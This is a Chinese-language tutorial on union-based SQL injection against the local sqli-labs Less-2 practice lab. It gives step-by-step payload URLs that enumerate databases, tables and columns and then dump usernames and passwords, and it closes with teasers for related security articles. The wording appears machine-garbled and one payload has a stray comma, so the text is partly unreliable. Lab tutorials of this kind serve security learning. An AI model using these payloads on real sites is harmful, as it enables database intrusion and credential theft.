所谓SQL注入,便是经过把SQL指令刺进到Web表单递送或输入域名或页面恳求的查询字符串,终究到达诈骗服务器履行歹意的SQL指令。
查验是否可以注入
and 1=1 正常
and 1=2 犯错
http://localhost/sqlilabs/Less-2/?id=1 是一个注入点。
后台的SQL句子的写法大致为
select username,password,[....] from table where id=userinput得到字段总数
那么咱们经过运用order by的句子来判别select所查询字段的数目。
那么payload变为:
http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....
得到显现位当运用order by 4时程序犯错,那么select的字段一共是3个。
在页面上会显现从select中选取的字段,咱们接下来便是要判别显现的字段是哪几个字段。
运用如下的payload(两者均可)进行判别。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3
当运用个如上的payload时,页面的显现如下:
经过如上的页面显现就可以知道,页面中显现的是第2位和第3位的信息。
查选库
在知道了显现位之后,那么接下来就可以经过显现位来显现咱们想知道的信息,如数据库的版别,用户信息等等。那么咱们运用如下的payload就可以知道相关的信息。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()
此刻页面的显现为:
可以看到在页面上就呈现了数据库的版别信息和当时运用的数据库信息。
那么接下来咱们经过这种办法知道数据库中一切的数据库的称号。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到之一个库名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二个库名
因为database()回来的便是当时web程序所运用的数据库名,那么咱们就运用database()来查询一切的表信息。当然在上一步中。咱们也现已知道当时的database便是security。查选表名
那么咱们结构的payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
这样咱们就得到当时数据库下一切的表名了。页面回来的成果是:
所以咱们知道在当时的数据库中存在4张表,分别是emails,referers,uagents,users。
查选列名
在知道了表名之后,接下来咱们运用information_schema.columns就可以依据表名来获取当时表中一切的字段。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六进制)
经过这个句子,咱们就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password这些字段。可是我本地测验的测验的时分,这个存在一个问题,实际上在security数据库的users的表中,只要id,username,password这3个字段,其他的字段都是其他数据库的中users表的字段名。
经过上面的payload,咱们也相同可以知道在emails,referers,uagents中的字段称号。
可是有的时分后台的代码或许仅用了运用where子句,那么这个时分就无法经过information_schema.coumns来得到列名了,这个时分只可以依据你自己多年的黑客经历来进行猜解了。猜解的办法也是比较的简略,运用exists子句就可以进行猜解了。假设在咱们现已知道了表名的情况下(当然猜解表名也运用经过exists子句来完结)。
猜解的句子如下:
http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)
如下如所示:首要的句子便是exists(select 需求猜解的列名 from users)这种句式。如果在users表中不存在uname列名,则页面不会显现内容或者是直接呈现sql的过错句子。
下面这个便是猜解到了users表中存在的字段。
http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)
脱裤猜想在users表中存在username列,上面的句子程序可以正常第回来成果,那么寿命在users表中的确存在username列名。
在知道了当时数据库一切的表名和字段名之后,接下来咱们就可以dump数据库中一切的信息了。比方咱们下载当时users表中一切的数据。
可以运用如下的payload:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users
就可以得到users表中一切的username和password的数据了,经过这种办法也可以得到其他表中的数据了。
在这儿共享一些之前对某网站会员/用户体系(一般域名都是passport.xx.com)进行缝隙检查查出的一些问题,这些问题大多都是逻辑类缝隙,运用缝隙进行进犯并不需求什么深邃的技能才干,所以损害特别...
关于一个Web开发人员来说,Fiddler并不生疏。作为一款Web调试利器,它具有强壮的调试功用,灵敏的装备以及丰厚的可扩展功用。我在开发工作中,最喜爱的便是它的Inspectors和AutoResp...
在一次偶尔的时机发现公司某个网站存在thinkphp的长途指令履行缝隙,自此对这个缝隙爱不释手。这究竟是为什么呢?首要原因有2点:榜首,假如网站存在这个缝隙,咱们可以去履行各式各样的体系指令来进行测验...
blueCMS介绍 个人认为,作为一个要入门代码审计的人,审计流程应该从简略到困难,逐渐提高。因而我主张咱们的审计流程为——DVWA——blueCMS——其他小众CMS——结构。一起做总结,搞清楚缝隙...
Web 是一个不断发展的渠道,有许多向后兼容的问题。 新的 web 安全实践一般来自于对存在缺点的旧功用的知道。 与其经过改动这些功用来损坏旧网站,还不如挑选参加一些更安全的设置。 你能够经过设置 H...
由于最近一段时刻里”驱动人生”这个病毒还挺抢手,最近发现经过一些安全厂商的设备发现内网里边有许多的主机都中了这个病毒瞬间吓哭了。后续经过对主机进行查看,竟然没有发现什么问题,后续发现是安全设备命中了一...